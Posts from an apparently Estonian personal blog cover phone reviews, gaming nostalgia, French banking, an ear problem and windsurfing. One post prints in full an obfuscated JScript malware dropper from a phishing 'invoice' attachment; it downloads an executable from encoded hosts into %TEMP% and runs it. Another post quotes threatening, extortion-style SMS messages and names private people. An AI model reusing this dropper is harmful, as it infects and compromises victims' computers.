OnePlus 3

Oneplus 3 on oma väikse aku tõttu palju vastukaja saanud,  aga see on minu vaatevinklist suhteliselt ebaoluline faktor, kuna ma olen suhteliselt aktiivne kasutaja ja ükski androiditelefon ei ole mul tiheda tööpäevaga, mis algab kella viiest, kella kaheni pärastlõunal välja vedanud. Sest korraga on kasutusel 2 või 3 navigatsiooniäppi (kuna üks peab teist täiustama minu töös), kunagi ei piira ma mingisuguste äppide tegutsemisvabadust, mida akusäästuspetsialistid soovitavad, alati mängib läbi bluetoothi autostereosse mingisugune podcast või eesti raadio, lisaks käib pidev mailide vahetus, attatchmentide vaatamine, pea igapäevaselt on aeg-ajalt on vaja objektidest mõned fotod ja videod teha, ja need läbi mobiili pilve sünkroniseerida, pahatihti tuleb internetti jagada droonis kasutusel olevale tahvelarvutile ja uskuge või mitte - mõned kõned tuleb ka telefoniga aeg-ajalt teha !

Olen proovinud näiteks LG G4 puhul paksu 6000mAh akut, aga ka sellega ei või olla kindel, et "õhtul linnas olles veel takso jõuab tellida".

Seega vaadates asja helgemat poolt - selle tunnikese, mil OnePus 3 end täis laeb, leian paar korda päevas ikka. Olgu selleks siis kas autoga pikemat otsa sõites või õhtul enne trenniminekut kodus olles.

Ma proovin ka enamus uued tipptelefonid läbi ja sellest hetkest ei osta ma ühtegi telefoni, millel pole USB type C, mida saab vabalt mõlemat pidi kinnisilmi autoroolis ühendada. Vana micro USB ühendamine ja kogu sellega kaasnev pesade kaabliotste murdumine on ajalugu. (aitähh euroopa komisjon?)

Sest üks on kindel - autos viibimise ajal pean kindluse mõttes igale nutitelefonile alati saba taha panema ja that`s it. Kui harjud sellega elama, on nendest vidinatest ikka kasu ka. See pole ka elu, nagu ma neid ainult-öösel-laadijaid vastu õhtut pidevalt säästurezhiimis telefoni kasutamas näen. Et jumalapärast "teepeale ei jääks".

Sellele samale aku kestvusele mõeldes olin ma ikka üsna kaua vanade nupunokiate kasutaja, aga täna ei suudaks enam ilma nutikata konkurentsis püsida.

Aga akust olulisemad OnePlus 3 miinused on minu silmis järgmised:
1)Liikudes wifi levialadest sisse-välja, ei suuda telefon skype või hangoutsi kõnet hoida. Andmesidevõrk tuleb kuidagi jube uimaselt järgi.  Ilmselt akukasutus liiga ära optimeeritud.

2)Wifi hotspotti ei saa seadistada ennast välja lülitama kui klient pole mingi aeg wifis andmeid liigutanud. See on Androidi versiooni, mitte telefoni süü.

3) Puudub NFC laadimine. 

4)Tehasest oli peal Android versioon 6.0.1, Oxygen versioon 3.1.3 ja sellele Oxygenile pakkus kohe uuendust. Ja 500 MB uuendus tuli alla kõigest 5 tunniga. Ilmselt on uuenduskeskuse serverid Hiinas ühendatud internetti DSL traatidega. Tegin enne lõppu restardi ja pärast seda viimane 100MB tuli normaalse kiirusega.
 
5)Kõneregistri ja sms äpid on mitte ainult harjumatud võrreldes Samsungi ja LG-ga vaid konkreetselt ebamugavad. Väike näide: normaalne oleks kui saaks SMS-st muu teksti seest ühe sõna või numbri selekteerida ja kopida, sellel saab kopida ainult kogu sõnumi. Proovisin Google Messengeri SMS äpi asendada Hangoutsiga, aga sama jama. Kohutav ! Ma oleks pooltest protsessori tuumadest ja 3GB RAM`st nõus loobuma (NB! 3GB jääks ikkagi alles), kui saaks vaid sama head äpid kui LG G4-s.
Kui sinu senistel telefonidel ei ole seda võimalust niikuinii olnud, siis see sind ei häiri.

6)Ekraanitihedus on jube kehva olles varasemalt kasutanud 500 punkti tolli kohta ekraane
 
7)kaamera on korpuse tagakülje kõige kõrgem koht ja et mitte kaamera peal liugu lasta, soovitan kasutada kummist ümbrist kohe alates soetamisest.

8)Kahjuks ei ole telefon veekindel.


Mul oli Samsung Galaxy S7 ja võin julgelt öelda, et OnePlus 3 sellele ühegi kandi pealt alla ei jää. Hinna poolest ainult ligi kaks korda.

Väga huvitav skript

Täna saadeti mulle unpayedinvoice.zip ja ma mõtlesin, et vaatan, mis viirusega tegu on. Fail nimega invoice_copy.js sisaldas sellist sisu. Mis te arvate?
Puust ette ja punaseks selgitavad asja lahti digitunni vennad 14. märtsi digitunnis .


function JRNjcvOci(nRFJaMTEtkN) {
var AyUtpmIg = WScript.CreateObject("Wscript.Shell");
AyUtpmIg.Run(nRFJaMTEtkN, 0x1, 0x0);
}
function xibHINjNj(eBgKp,cboWC,cyScP) {
var lHSUW = "nyiLdf Xrs pt.Shell xzqCzIi Scri".split(" ");
var ElE=((1)?"W" + lHSUW[4]:"")+lHSUW[2];
var HT = WScript.CreateObject(ElE);
var ih = "%TEMP%\\";
return HT.ExpandEnvironmentStrings(ih);
}
function YPTRehyF() {
var qdpvfWq = "ipting";
var woQuoCrNBc = "ile";
var QMXYe = "System";
return "Sc" + "r" + qdpvfWq + ".F" + woQuoCrNBc + QMXYe + "Obj" + "ect";
}
function tDct(QtpLn) {
return WScript.CreateObject(QtpLn);
}
function MgCR(UtZEp,SOxUA) {
UtZEp.write(SOxUA);
}
function lMOH(gokah) {
gokah.open();
}
function Fxqi(ZJKbg,ofEzE) {
ZJKbg.saveToFile(ofEzE,682-680);
}
function SZjM(ywnEe,iudkY,PuDkm) {
ywnEe.open(PuDkm,iudkY,false);
}
function kDfm(aiNgt) {
if (aiNgt == 1035-835){return true;} else {return false;}
}
function EBbH(UjHnC) {
if (UjHnC > 191622-362){return true;} else {return false;}
}
function wLgr(ncTyQ) {
var cgpjK="";
for(V=(533-533); V < ncTyQ.length; V++)
if (V % (738-736) != (433-433)) {
cgpjK += ncTyQ.substr(V, 291-290);
}
return cgpjK;
}
function OCSS(CzLUk) {
CzLUk.send();
}
function QwyG(uPQFC) {
return uPQFC.status;
}
function OeUQd(xbdfsH) {
return new ActiveXObject(xbdfsH);
}
var Db="komh1edlMl0oRwwrtumf4fF.ScboEmO T/p8a0n.8eHxmed?B DtHhEifs2iqsBi2t6saqpqO.EcEoxm3/28j03.LekxHe6?l k?X M?T M?";
var A = wLgr(Db).split(" ");
var Jjf = xibHINjNj("nzqF","YdSvU","ZAGPHC");
var FkM = OeUQd(YPTRehyF());
var aAIS = Jjf+"VexneEA\\";
try{
FkM.CreateFolder(aAIS);
}catch(rFGJNs){
};
var yuR = "2.XMLH";
var JDs = (yuR + "TTP" + " waRZkkS ooTJO XML ream St xGZpmyvy AD AKYgRrM OD").split(" ");
var uX = true  , QOsC = JDs[7] + "" + JDs[9];
var MK = tDct("MS"+JDs[3]+(628815, JDs[0]));
var gul = tDct(QOsC + "B." + JDs[5]+(973688, JDs[4]));
var qyN = 0;
var u = 1;
var meCiIvf = 463705;
var n=qyN;
while (true)  {
if(n>=A.length) {break;}
var Xk = 0;
var ROD = ("ht" + " PEFRBeU tp wtSLT JoELKzBC :// ziQIOOu .e xe G ET").split(" ");
try  {
SZjM(MK,ROD[0]+ROD[2]+ROD[5]+A[n]+u, ROD[9]+ROD[10]); OCSS(MK); if (kDfm(QwyG(MK)))  {    
lMOH(gul); gul.type = 1; MgCR(gul,MK.responseBody); if (EBbH(gul.size))  {
Xk = 1; gul.position = 0; Fxqi(gul,/*z6W830ly5m*/aAIS/*OeNt139vh5*/+meCiIvf+ROD[7]+ROD[8]); try  {
if (((new Date())>0,7954910888)) {
JRNjcvOci(aAIS+meCiIvf+/*Yxme15SsMQ*/ROD[7]+ROD[8]/*ig6y53wbkI*/);
break;
}
}
catch (Vn)  {
};
}; gul.close();
};
if (Xk == 1)  {
qyN = n; break;
};
}
catch (Vn)  {
};
n++;
};

Kanep

Viimasest pealtnägijast jäi kõlama lause "Riskirühmal kanep vallandab skisofreenia". Ilmselt olen mina oma vundamendist katuseni mahapõletatud majaga üks kanepiskisofreeniku ohvritest. Nii selged paralleelid meie süütaja ja Pealtnägija kanepiohvri vahel ei saa olla juhuslikud. Ilmselt võivad kanepi asemel olla sama hästi ka mitmed teised imeained. Meie süütaja skisofreenia võis vallanduda kanepi asemel ka ükskõik millisest teisest ainest, nimekiri on pikk. Õnneks ei fantaseeri keegi meta või koka legaliseerimisest. Kui aega saan, räägin pikemalt. Andke mulle jalaga persse kui unustan.

Ulmetoivu ja Ulmeraivu

Blogilugejad küsivad tihti huvitavaid lugusid. Igapäevaselt eesti joodikute, eksvangide ja narkarite tegemistest ei viitsi lihtsalt kirjutada, aga nüüd tuli vahele üks värvikam lugu.

Üleeile küsis Ulmetoits (Toivu, kes on täispeaga suht ulme tegelane ja täis on ta 50% päevadest) mult jommis peaga tööautot, et Bordoosse lällama minna. Ma ei lubanud. Ulmetoits võttis vaatamata minu keelule siis omavoliliselt auto ja lasi ennast kolleegidel Bordoosse sõidutada. Noh, jäigi üksi Bordoosse ja pidi rongiga tagasi tulema. Nüüd on see tripp natuke lappama läinud ja tal on ka telefon tühjaks saanud. Kuna ta kipub täis peaga tüli norima, siis on ta ilmselt kusagil isoleeritud. Pole välistatud, et naaseb väljalöödud hamba ja sinise silmaga nagu mõni teine meil on sarnaselt pikemalt reisilt naasnud. 
Ulmetoitsi naine küsis Ulmetoitsi Pariisis elavalt vennalt Raivo Kaeralt, ega tema midagi ei tea. Sai seepeale sõimata nagu koer, et naine on süüdi, et mees lõbutseda tahtis. Okei, see selleks, peresisene värk. Aga nüüd sain mina ka paar vahvat sõnumit, mille ma siin meeleldi teieni toon. Kui Ulmraivo sõnumitest võiks nagu välja lugeda, et ta peaks justkui dialoogi, siis olgu mainitud, et mina pole talle ühtegi korda vastanud.

SMS nr1 19.07.2015 kell 10:15:38:
Tere, Ragnar! Kui KOHE koik tootajad ja autod Toivot otsima ei lahe, teen su kohta politseisse ja maksuametisse avalduse. Prantsusmaal saad illegaalse toojou, maksupettuste eest 10a reaalset vangistust. Kogu su fb ja blogi on salvestatud. Tean sinust koike! Homme lahen ka saatkonda ja alustan artikli kirjutamist eesti ja prantsuse meediale. Sina ja kogu su punt vastutate, kui Toivoga midagi juhtub! Otsingud algavad kohe voi litsun su laiaks nagu prussaka! Ja sina isiklikult helistad mulle, hoiad mind koigega kursis! Raivo Kaer, Toivo vend
Mina loomulikult sinna tasemele ei lasku ja jätan vastamata. Seejärel tuleb paari tunnise vahega sisse järgmine SMS:


SMS nr2 19.07.2015 kell 12:17:49:
Sa oled mortsukas! Palkad illegaalselt toojoudu, et oma taskuid taita! Vereimeja! Havitan su taielikult, luban!!! Ekspressis tuleb avalugu, Ohtuleht, Nelli Teataja ja Laane Elu andsid samuti nousoleku. Kuna mul on Suursaatkonna konsuli mobiili number, sain yhendust ja nad teevad minuga taielikult koostood. Void kohe oma putka sulgeda ja riigist lahkuda! Sa oled kadunud, mees!
Ma ei vasta midagi. Toivo ja Anu proovivad Raivut maha rahustada ja maa peale tagasi kutsuda. Tunni aja pärast saabub mulle jälle sõnum noore kirjamehe telefonist:


SMS nr3 19.07.2015 kell 13:26:05:

Sina lased lahti? Keda? Inimese, kellega sul pole lepingut isegi? Vannun, et havitan su taielikult! Tulevad artiklid, molema riigi maksuametid, Prantsusmaa politsei, saatkond ja lopuks vangla, millest saab su kodu! Parem paki oma asjad ja pogene riigist! Ma ei lopeta enne, kui olen su taielikult havitanud koos varaga, mille oled teiste eludega riskides ebaausalt teeninud! 

Kisub põnevaks. Jään ootama järgmisi sõnumeid. No neid tuleb. Ja jääbki tulema. Mina ei pea vajalikuks midagi vastata.


SMS nr4 19.07.2015 kell 17:06:31:
Mont-de-Marsanis ja selle lahiymbruses ning asutustes hakkavad varsti ringlema sinu pildiga ja sind puudutavad lendlehed. Jouavad koikjale. Info on koostamisel nii sinu kui ka sinu pere ja tegevuste kohta. Samuti votan yhendust kohalike ameti- ja haridusasutustega. Prantslased juba seda ei andesta. Ekspress, ohtuleht, nelli teataja ja laane elu on loost vaga huvitatud. Edu, "arikas"! Varsti oled kuulus poiss nii Eestis kui ka Prantsusmaal 

SMS nr5 21.07.2015 kell 01:43:28:
Lahen oma voitluses inimoiguste eest lopuni! Sind juba jalgitakse! Samas vottis Prantsusmaa mind oma kaitse alla. Sa pole ainus eestlasest pettur, keda olen paljastamas! Kuna mu vend tootab su juures, olen valmis koostooks. Teed koigiga lepingud, tasud ausalt maksud jne. Artikkel Ekspressis ilmub igal juhul. Ka mujal, kuid nend sisu soltub sinust. Voin kirjutada tanasest seisust, st eestlasest kriminaalist Prantsusmaal, voin kirjutada loo, kuidas ausaks hakkasid voi hoopis reklaami tegeva ja positiivse artikli voi ka mitte midagi kirjutada. Artikkel on too, mille tulemusena valmib produkt. Iga produkt on ostetav ja myydav. Koik lasub sinu sydametunnistusel. Peale esmasp toimunud kohtumist juristide ja vastava organisatsiooniga, kinnitan, et sind ootab kurb, st vangla staatus. Kas sa toesti tahad seda? Sind juba jalitatakse. Protsess on alanud. Sinu ainus paasetee on ametlikud lepingud ja artiklite osa...
 
SMS nr6 21.07.2015 kell 02.22:12:
4 sinu alluvat kysisid esmasp minult abi, et sinu orjusest paaseda! 4! Su ja su pere olukord on katastroofiline! Olen valmis koostooks, kui minuga yhendust votad, tootajatega lepingud solmid jne. Kui nadala jooksul midagi ei juhtu, ootab sind tallinna vangla. Sind jalgitakse. Artikkel on produkt- ostetav ja myyday, aga eeltingimus on lepingud tootajatega, maksude tasumine

SMS nr7 21.07.2015 kell 02.47:28:
Praegurest hetkest alates on sul 24h aega, et tootajate ja minuga leping teha. Kui seda ei juhtu, on vangla garanteeritud. Aeg hakkab tiksuma NYYD! 

SMS nr8 21.07.2015 kell 03.17:33: 

Just sain teada, et su taust Eestis pole puha! Oi, irw, vale mehe otsa sattusid. 

SMS nr9 21.07.2015 kell 03.28:27:
Mees, sinu tunnid on loetud! 

SMS nr10 21.07.2015 kell 13.56:09:
See, et maksad eraisikuna palkasid, ainult raskendab su kuritegu. Ka sinu elukaaslase arve on kontrolli all. Oled monusa supi endale kokku keeranud. Neli inimest on oma lood kirjutanud. Homme hommikul on mul kohtumine saatkonnas. Sul on veel aega...

SMS nr11 21.07.2015 kell 16.11:35: 

02.58 taitub 24h!

SMS nr12 21.07.2015 kell 16.53:33:
Peatoimetaja leidis eestist inimesi, keda oled varem petnud. Homme teen ka nendega inteka. Artikkel tuleb vinge! Aitah!

Mina ütleks, et tegu on Ulmeraivu'ga :) Toivu on oma Pariisi vennast mulle rääkinud küll, et ta on nats imelik, pages kunagi võlgade eest Pariisis, joob ka päris palju, on ajakirjanik ja naiste asemel eelistab mehi. Noh nii põgusalt... Aga mis teie arvate?

smsraha.ee - täiesti lootusetud tiblad

Tere!

Teate, te persse ei taha kerida õige?

Ragnar

On 10.03.2015 12:56, smsraha.ee wrote:
> Tere,
>
> Kui Te soovite infot laenude kohta, palume võtta meiega ühendust infonumbril 6630110.
>
> Lugupidamisega,
> smsraha.ee
>
> -----Original Message----- From: Ragnar Parli
> Sent: Tuesday, March 10, 2015 10:55 AM
> To: info@smsraha.ee
> Subject: Re: Teatis: SR367363
>
> Tere.
>
> Ma maksin kõik ära, vaadake, kas sellega on nüüd kõik korras.
>
> aitähh
>
> On 3.03.2015 7:08, info@smsraha.ee wrote:
>> Tere,
>> Info laenude ja klientide kohta ongi konfidensiaalne info. Ja sellist infot
>> me ei väljasta 3 isikutele.
>>
>> Lugupidamisega,
>> SMSraha.ee
>>
>> -----Original Message----- From: Ragnar Parli
>> Sent: Tuesday, March 03, 2015 1:12 AM
>> To: info@smsraha.ee
>> Subject: Re: Teatis: SR367363
>>
>> Ma ei küsinudki mingit infot.  Mul on kogu dokumentatsioon olemas.
>> Proovin siiski kolmandat korda küsida, et kas oleksite nii kena ja
>> kannatate selle summa tasumisega kuni 12. märtsini?
>>
>> aituma,
>> Ragnar Pärli
>>
>>
>> On 28.02.2015 9:30, info@smsraha.ee wrote:
>>>
>>> Tere,
>>>
>>> Info laenude ja klientide kohta ongi konfidensiaalne info. Ja sellist infot me ei väljasta 3 isikutele, kui Andrus Simpsonil on võetud laen meie firmas, siis ta võib ise meiega ühendust võtma. Lugupidamisega,
>>> smsraha.ee
>>>
>>> -----Original Message----- From: Ragnar Parli
>>> Sent: Friday, February 27, 2015 11:17 PM
>>> To: smsraha.ee
>>> Subject: Re: Teatis: SR367363
>>>
>>> Tere.
>>>
>>> Pole mul mingit konfidentsiaalset infot vaja, ma küsin vaid 2 nädalat
>>> pikendust. Maksan ise ära selle võla.
>>>
>>> Ragnar Pärli
>>>
>>> On 27.02.2015 18:40, smsraha.ee wrote:
>>>> Tere,
>>>>
>>>>
>>>> Kahjuks meie firma reeglite järgi ei avalda konfidentsiaalset informatsiooni kolmandatele isikutele.
>>>>
>>>> Lugupidamisega,
>>>> smsraha.ee
>>>>
>>>> -----Original Message----- From: Ragnar Parli
>>>> Sent: Friday, February 27, 2015 6:44 PM
>>>> To: info@smsraha.ee
>>>> Subject: Teatis: SR367363
>>>>
>>>> Tere.
>>>>
>>>> Soovin tegelda Andrus Simsoni võlaga. Palun pikendust 2 nädalat, mil
>>>> saan tasuda kogu summa.
>>>> Hetkel maksin SEB pangast 200 eurot.
>>>>
>>>> Ragnar Pärli
>>>
>>
>

Minu Unreal Tournament'i periood.

Vaatasin ära Kaardimaja seriaali mõlemad hooajad ja umbes sellest kohast, kus Francis Zoe'i rongi alla lükkas, aimasin stsenaariumi nii palju ette, et varem või hiljem saab Francisest USA president. Nii ka läks, aga mitte sellest ei tahtnud ma täna rääkida. Blogi pealkiri seda ilmselt ka reedab. Tahtsin kummutada laialt levinud arusaama, nagu "vanamehed" mängiksid 3D tulistamise mänge ainult stressi maandamiseks. See on pulli kaka! Frank Underwood võis ju seriaalis tulistada stressi maandamiseks, aga minu puhul oli stressist asi kaugel
Mina olen ka vanamees ja "pastaka haarasin" täna just tänu sellele, et täna on see päev, kui ma esimest korda peale Kaardimaja vaatamist hakkasin klikkima UT2004 ikooni oma desktopil. Enne klikkimist aeg seiskus hetkeks, mõte käis mööda miljoneid kilomeetreid juhtmeid ja 0.1 sekundit hiljem mõtlesin, et enne mängu alustamist panen selle mõtte kirja. Ei ole mina veel ühtegi korda arvutisse tulistama läinud selleks, et stressi maandada! Ilmselt on ka näiteks Bill Gates ja Mark Zuckerberg arvutis tulistamas käinud, ma ei näe selles küll mingit probleemi.

Kuidas ma üldse 3D mängude juurde sattusin? Üheksakümnendate keskel, kui tulid välja Doom'i triloogia ja Duke Nukem 3D, siis ma veel virtuaalse verevalamisega ei tegelenud. Pisiku sain ilmselt ülikooli rebaseaastal. Sõbrad Aron Jalakas ja Jüri Etverk mängisid Pepleri ühikas UT-d nädalas ilmselt rohkem tunde kui loengutes käimise peale kulus. Sattusin ka neile sinna peplerisse tihtipeale külla ja kuna olin 1999a ostnud omale õppelaenud eest korraliku "püssi" arvuti, mis koosnes AMD Duron 700MHz  CPU-st, 64 MB RAM'st, ATI Rage Fury 32MB videokaardist, siis panin omale ka Unreal Tournament'i peale. Selle arvuti peale muidu kulus täpselt kogu õppelaen, et tsirka 15 000 krooni.
Andsin sõrme, aga võttis käe. Ülikooli bakalaureuseõppe ajal kulus mul UT peale julgelt kolmekohalise arvuga kirjeldatav kogus mängutunde! Ma ei ütleks, et see virtuaalmaailm ületas tähtsuse poolest reaalsuse, aga ligilähedale jõudis küll. Olgem ausad, 1000 tundi 5 aasta peale ei ole siiski muretsemapanev aeg.  suicide alias Erki Eek, sotsiaalteaduste tudeng Nooruse ühikast,  kulutas sama mängu peale vähemalt 5 korda rohkem aega minu hinnangul. Pepleris oli veel eesti tolle aja parim minihoor ( minigun ehk mini on selline ringlevate torudega automaatrelv, mida oli näha ka Arnold Schwarzenneger'i Predator'is. Tegelikult vist pigem rünnakuhelikopterite relvastuses olev relv)  ximon, kes oli ka ikka tol ajal eesti absoluutses tipus.  Siis veel millegipärast väga täpselt ei tulistatud ja minigunniga sai vabalt mürada. Aga paari aasta pärast läksid snaipri vintpüssidega vennad nii täpseks - klikk ja headshot, teine klikk ja double kill, kolmas klikk ja multikill, neljas klikk ja ultra kill ning viies klikk ja mo-mo-mo-monster kill  - et avaruses ei olnud pikalt distantsilt nende vastu kuidagi kuule laiali pritsivate automaatrelvadega võimalik hakata. 
Klann hääbus, liikmed vahetusid ja ühel hetkel saabusid areenile kohutava hea aim'iga  Canta ja Nigga ning nende klanni uueks nimeks 6R.  Ega Eestisse tol ajal ühe paari hea klanni ei mahtunud kah. Meie klann =rMe= oli küll kehvem kui 6R ent häid lahinguid sai ikka omavahel peetud. Lisaks meie koosnesime 90% real life'i sõpradest. Morfeuses me muidugi lüpsime neid täiega klann-klanni vastu. Eriti siis kui meie ridadesse kuulus üks Jõhvi venerahvusest poiss, keda me päriselus ei olnud keegi kohanud. LAN-party'del ta ei käinud.  Kutsus ennast erinevatel perioodidel erinevate nimedega. Korra oli ta 6R*Koso, hetk hiljem meie klaanis =rMe/aid=. Vahetst elasid mõned pelijad topeltelu. Olid korraga mitme klanni liikmeks. Näiteks eelpoolmainitud =rMe/suicide=  kehastus öösiti, kui väike eesti community magama oli läinud, mõne lääne-euroopa klanni liikmeks ja sõdis nendega hommikuni. Täna töötab Erki mingis ministeeriumis ja mängimisega enam väga ei tegele.

Caater - Kalle Kukk ja 6R*Lamp

Kuus-errist meenub veel 6R*Lamp, kes UT mängimise vahepeal tõmbas rahateenimise eesmärgil selga hõbedase kuue selga, pani pähe gaasimaski ning lasi diskoteekides rahval auru välja. Sarnase eluala peal töötas ja UT serverites igapäevane nägu yep, kes on IRL's (in real life) tuntud kui DJ YEP.  Soojad tervitused teile kõigile kui juhtute seda lugema! Ka Ximon oli minuarust mingil perioodil 6R'i palgal, aga peale ülikooli kolis Keilasse ja jättis ka mängimise järgi vist. Lõi IT ettevõtte.

6R*Lamp DM-Morpheust võitmas

Lamp sai, nii et tolmas

6R sai siin meie käest nii, et tolmas. Peaosas Argo Mõttus alias =rMe/FillRage=.

 

GODLIKE! - üks mõnus hetk kui sa tapad teisi kiiresti 30 korda, ise kordagi surma saamata.

Väljumine.
Minu jaoks ei olnud see väljumine selline, nagu soovitakse väljuda mingist pahest. Et soovid ja soovid, aga välja ei saa. See oli pigem hääbumine. Hääbumine, mille põhjuseks oli tuttavate mängurite eemaldumine, loobumine, kohati ka sõprade üleminek uutele mängudele. Minu jaoks on tänaseni vaid üks ja ainus 3D tulistamise mäng ja see on Unreal Tournament. Väljumine kestis aastaid, kuna ikka ja jälle klikkides nädalavahetusel UT ikoonil, leidsid tuttavatest serveritest vanu sõpru. See on nii nostalgiline. alles paari aasta möödudes oli kogu seltskond välja vahetanud ja serveritest ei leidnud ühtegi tuttavat nime. Kahjuks muidugi mõni vahetas oma mängurinime nii tihti, et sa võisid teda kohata, kuid ära ei tundnud. Ja nii ta läks. Panen praegu punkti, et kunagi siia veel huvitavaid seiku lisada. C'est la vie!

Offroad aastal 1920

Sõidad järgi? Mina mitte.

Post by Stéphane Le Bail.

Sign Up to Dropbox

Sign up for a free Dropbox account and get your first 2GB cloud space.

Liituge Dropboxi teenusega selle lingi kaudu. Saate kohe 2GB tasuta pilveruumi failide hoidmiseks ja mina saan selle lingi kaudu liitujate abiga kuni 16GB lisa kettaruumi. Aitähh!

Samsung Galaxy Note Pro 12.2 Model SM-P905 Antutu Benchmark - 35625 points

Samsung Galaxy Note Pro 12.2 Model SM-P905 AnTuTu Benchmark - 35625 points

Testing was performed with standard OS Android KitKat 4.4.2, all radios turned off (Flight mode).

CPU: Good, Supports large apps and multitasking. RAM: Excellent, 2D graphics: Excellent, 3D graphics: Excellent, Fluently support mobile games.

UX Android 4.4.2
Multitask: 6874
Runtime: 3521
RAM 766,1/2796,7MB
RAM Operation 1672
RAM Speed 3016
CPU 2265 MHz (x4)
CPU Integer: 3407
CPU float point: 3942
GPU Adreno (TM) 330
2D graphics: [1600x2560] 1630
3D graphics: [1600x2560] 9083
IO 18956,5 / 27012,8 MB
Storage I/O: 1830
Database I/O: 650

Panga valik Prantsusmaal

Eesti inimesele on üsna raske seletada, kui keeruline on Prantsusmaal pangakontot avada, kuna Eestist ei ole võrdluseks tuua midagi nii keerulist. Võibolla Ridala vallavalituses mingi maatüki erastamise teemalise asja ajamine volitatud isikuna on midagi võrreldavat.

Kuidas need pangad tunduvad aga võrreldes Eesti pankadega, sellest tahaksi Credit Agricole' näitel rääkida:

• SEPA makset peab käima tegemas pangakontoris ja see ebaõnnestub isegi seal aeg-ajalt. Siis tuleb paari päeva pärast uuesti minna ja uuesti proovida ja loota, et seekord õnnestuks. Eelmisest ülekandest pole alles jälgegi. Kui oma paari päeva tagust maksekorralduse koopiat näitad, laiutatakse käsi. Kontoriti on maksekorralduste kviitungid erinevatel blankettidel.
• Internetipanka sisenemiseks kasutatakse üht ja sama parooli, mida ei saa kodunt lahkumata vahetada.
• Internetipangas ei saa teha ka riigisiseseid makseid enne, kui sa pole pangakontoris käinud ja määranud ära "salvestatud saajaid".
• Telleritel puudub ühtne univorm. Mõned oleks lausa nagu koduriides hommikul selga unustanud. Seda, et keegi peale emakeele midagi ei räägi, pole mõtet mainidagi.
• Kui otsekorralduse ajaks ei ole kontol raha, võetakse süüdimatult 10, 25 ja 35 euro suurusi " Frais Commission D'intervention" tasusid.
• Kui suundud mõne pisiasja tegemiseks mitte samasse kontorisse, kus sa konto algselt avasid, siis hakkab sealse teenindaja ja sinu kodukontori personaalteenindaja vahel toimuma tihe telefoni- ja faksiliiklus. Vahest saadetakse välja ootama paariks tunniks, kuni bürokraatiahammasrattad infor jahvatavad. 

Küsimus kõigile prantsuse eestlastele - millisesse panka soovitate konto teha?  Kas kellelgi on näiteks Caisse d'Epargne, Boursorama, LCL, BNP Paribas'i või Credit Mutuel'ga kogemusi? Konto avamine on ju keeruline protseduur, ei tahaks lihtsalt proovimiseks aega raisata.

Kiri kõrvaarstile.

Tere!

Mul on selline kõrvamure, et umbes Juulis kui sa kõvasti ookeanis ujumas käidud ja murdlainetes müratud, siis sattus vesi keskkõrva. Kõndimise ajal loksub ja krõbiseb, just nagu siis kui väljas pool kilet väljast poolt sattunud vesi.
Aga see vesi on sinna sattunud ilmselt nina kaudu, sest nendes lainetes on hull rõhk ja see sind rullib nagu kaltsu, siis satub vesi igale poole kuhu vähegi võimalik.
Miks ma arvan, et ta sees pool on - sest väljast tuleb ju raputades välja.
Tasakaal on ka kohati häiritud. Vahest rohkem, vahest vähem.

Youtubest vaatasin üht videot, mis näitas, et kui seal vesi on ja loomuliku drenaaži kaudu välja ei tule, siis tuleks see kiiresti eemaldada, kuna muutub mõne kuuga paksuks nagu liim. Ja see võib jäädavalt kuulmisele mõju avaldada.
Ma ei saa aru, kas seda liimi siis ei saa enam pärast ära loputada meditsiiniliselt?

Ja teine asi, mis silma jäi tollest videost, on see, et kui kuulmeluud jäävad kauaks vette, siis nad võivad jäädavalt pehmeneda ja ei juhi enam heli edasi. Jälle kuulmine kannatab eksole.

Ja nüüd minu küsimus - miks ta mul huvitav loomulikult välja ei tule ja kas ma peaks arsti juurde minema või on mingeid muid variante? Arsti juurde minek on jube tülikas minu jaoks. Ma ei viitsi poeski käia.

Ahaa, veel üks asi, mis ei ole harilik - sellest suvest alates - peale esimest korda, on vesi hakkanud ka surfamas käies keskkõrva sattuma. Seda ma saan aru nii, et peale surfamas käimist on krõbin suurem, kohe aru saada, et vett on juurde tulnud. Ometi surfamise ajal on tegu hariliku "korraks pea vee alla" momentidega olnud. Et kas nüüd siis hakkabki nii olema, et vesi satub millegipärast jube kergelt keskkõrva? Või on vee keskkõrva sattumine täiesti loomulik, aga minu puhul on mingi jama sellega, miks ta ise välja ei vaju.

Tervitustega,
Ragnar

----------------------------------------------

Arsti juures selgus, et vaatamata minu hulgalistele vatitiku kuure, oli üks kõrv endiselt paksult liiva täis ja teises oli väike kivi, umbes 4-5mm diameetriga. See siis koliseski trepist käies vastu kilet. No ja ime siis, et hästi ei kuulnud. Peale mõlema kõrva meditsiinilist loputamist tegin ka kuulmise kontrolli. Selgus, et kuulmine on täitsa korras. Lõpp hea, kõik hea!

---------------------------------------------

Väike reklaam ka: Veel on alles mõned head Husqvarna murutraktorid LTH 151!

Selle aasta surfi feil.

Teisipäeval 05.nov puhus vali tuul, aga magasin pool päeva maha, alles kell 15 taipasin, et puhub. Lendasin järve äärde. Vesi valge kõik ja puha. Hakkan üles panema, Leucatest NS poest ostetud XT ots ei pea. Kurat eelmine oli mul sae starteripaela kerast lõigatud ja ka pidas. Kaheksa eurine Leucate profipoest ostetud ots lihtsalt ei pea. Ja pingutada ei saa, mine või sirge mastiga sõitma. See oli selline tavaline valge kapron ots, suht libe, mitte nagu originaal -pehme ja kare. Jaman ja jaman ja ei pingutandki ära. Aeg samas lendab eksole, 18:30 on pime. Kümme matsi kammivad järve edasi tagasi, mina jebin kaldal otsaga. Ja ei saandki. Siis kerisin otsa ümber ühe võtme ja sikutasin alt käsitsi pingule nii palju kui suutsin.
Järgmine feil - ei saa kalipsot selga - no olin märjaks saanud ja uus kalipso ei lähe märjalt selga. Kõik jorsid on merel ka, et keegi aitaks. Lõpuks tõmbasin, et kas pooleks või selga. Tuli õnneks selga. Nii tihedalt ümber ja sättida ei anna enne kui vees.  Ja läksin vee peale. Aga no trimm oli nii vale, kuna  masti oli suht sirge. Puri oli nii väärakas, et üldse sõita ei saanud, tuul oli ka nats liiga vali viie-poolese purje jaoks. Panin mingi käna ka maha, suurevarba luu vist läks.  Ja sõita ikka üldse ei saa, seda ma sain 15 mindiga aru, kisub kuidagi külg ees ja üldse liikuma ei saa...
